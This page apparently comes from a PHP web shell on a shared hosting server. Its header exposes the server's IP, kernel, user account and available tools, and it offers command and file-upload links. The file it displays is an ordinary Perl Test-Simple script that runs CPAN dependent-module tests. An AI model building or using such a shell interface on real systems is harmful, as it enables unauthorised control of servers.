Server IP : 111.118.215.189 / Your IP : 216.73.216.185 Web Server : Apache System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : a1673wkz ( 2475) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /usr/share/doc/perl-Test-Simple-0.98/t/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
#!/usr/bin/perl # Test important dependant modules so we don't accidentally half of CPAN. use strict; use warnings; use Test::More; BEGIN { plan skip_all => "Dependents only tested when releasing" unless $ENV{PERL_RELEASING}; } require File::Spec; use CPAN; CPAN::HandleConfig->load; $CPAN::Config->{test_report} = 0; # Module which depend on Test::More to test my @Modules = qw( Test::Most Test::Warn Test::Exception Test::Class Test::Deep Test::Differences Test::NoWarnings ); # Modules which are known to be broken my %Broken = map { $_ => 1 } qw( Test::Class ); TODO: for my $name (@ARGV ? @ARGV : @Modules) { local $TODO = "$name known to be broken" if $Broken{$name}; local $ENV{PERL5LIB} = File::Spec->rel2abs("blib/lib"); my $module = CPAN::Shell->expand("Module", $name); $module->test; ok( !$module->distribution->{make_test}->failed, $name ); } done_testing();